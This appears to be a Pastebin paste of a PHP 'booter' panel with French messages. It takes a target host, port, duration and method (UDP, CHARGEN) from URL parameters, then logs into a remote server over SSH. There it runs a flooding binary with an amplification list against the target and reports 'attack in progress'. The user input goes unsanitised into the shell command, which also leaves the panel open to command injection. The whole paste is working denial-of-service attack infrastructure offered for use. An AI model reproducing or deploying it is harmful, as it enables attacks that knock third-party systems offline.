Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = "";
- $server_pass = "";
- $server_user = "";
- //fin de la config
- $host = $_GET['host'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- if ($method == "REBOOT") { $command = "reboot"; }
- if ($method == "UDP") { $command = "./testing ".$host." ".$port." list.txt 500 3 ".$time; }
- if ($method == "CHARGEN") { $command = "./testing ".$host." ".$port." list.txt 500 3 ".$time; }
- if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installez");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "PROBLEME DE CONNECTION";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Erreur ssh2: utilisateur ou mot de passe incorrecte";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Impossible d'executée la commande";
- } else {
- stream_set_blocking($stream, true);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attaque en cours sur l'IP $host avec le port $port , pour $time secondes !";
- fclose($stream);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement